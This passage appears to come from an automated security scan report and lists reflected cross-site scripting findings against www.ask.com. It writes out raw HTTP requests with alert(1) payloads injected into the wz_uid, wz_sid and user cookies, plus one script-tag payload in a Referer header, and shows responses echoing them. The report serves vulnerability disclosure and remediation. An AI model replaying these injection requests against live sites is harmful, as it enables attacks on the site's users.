savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952; Referer: 9de77"><script>alert(1)</script>c55d3d98538
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:48:35 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 72c6e'-alert(1)-'7422fa4f21b was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F372c6e'-alert(1)-'7422fa4f21b; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]... <iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0A4EDD4111C033B329ACD8C41BD460F372c6e'-alert(1)-'7422fa4f21b;u4=;u3=;u2=0;ord=-1237693634?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialog ...[SNIP]...
The value of the user cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dda2f'-alert(1)-'5e3039848f8 was submitted in the user cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dirdda2f'-alert(1)-'5e3039848f8; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9ae77'-alert(1)-'31fcaf72148 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F39ae77'-alert(1)-'31fcaf72148; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d58e0'-alert(1)-'6c377da3def was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3d58e0'-alert(1)-'6c377da3def; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1405d'-alert(1)-'86400391a6c was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about/legal/privacy HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F31405d'-alert(1)-'86400391a6c; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2a451'-alert(1)-'67adbcfa709 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about/legal/privacy HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F32a451'-alert(1)-'67adbcfa709; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7c9fa'-alert(1)-'96754ce8465 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about/legal/terms HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F37c9fa'-alert(1)-'96754ce8465; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6b65a'-alert(1)-'f30f9b003b1 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about/legal/terms HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F36b65a'-alert(1)-'f30f9b003b1; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2fb15'-alert(1)-'9fef29dcb42 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advertise HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F32fb15'-alert(1)-'9fef29dcb42; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ef363'-alert(1)-'0fd7bdbd4d3 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advertise HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3ef363'-alert(1)-'0fd7bdbd4d3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9bc98'-alert(1)-'bd3e3e0e82e was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ans HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F39bc98'-alert(1)-'bd3e3e0e82e; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]... <iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0A4EDD4111C033B329ACD8C41BD460F39bc98'-alert(1)-'bd3e3e0e82e;u4=;u3=;u2=0;ord=-267408614?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialogs ...[SNIP]...
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ef162'-alert(1)-'9cb00130769 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /answers HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3ef162'-alert(1)-'9cb00130769; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 57747'-alert(1)-'ca35c7381e5 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /answers HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F357747'-alert(1)-'ca35c7381e5; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7f663'-alert(1)-'6dde55b3906 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /answers/000/Notification HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F37f663'-alert(1)-'6dde55b3906; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
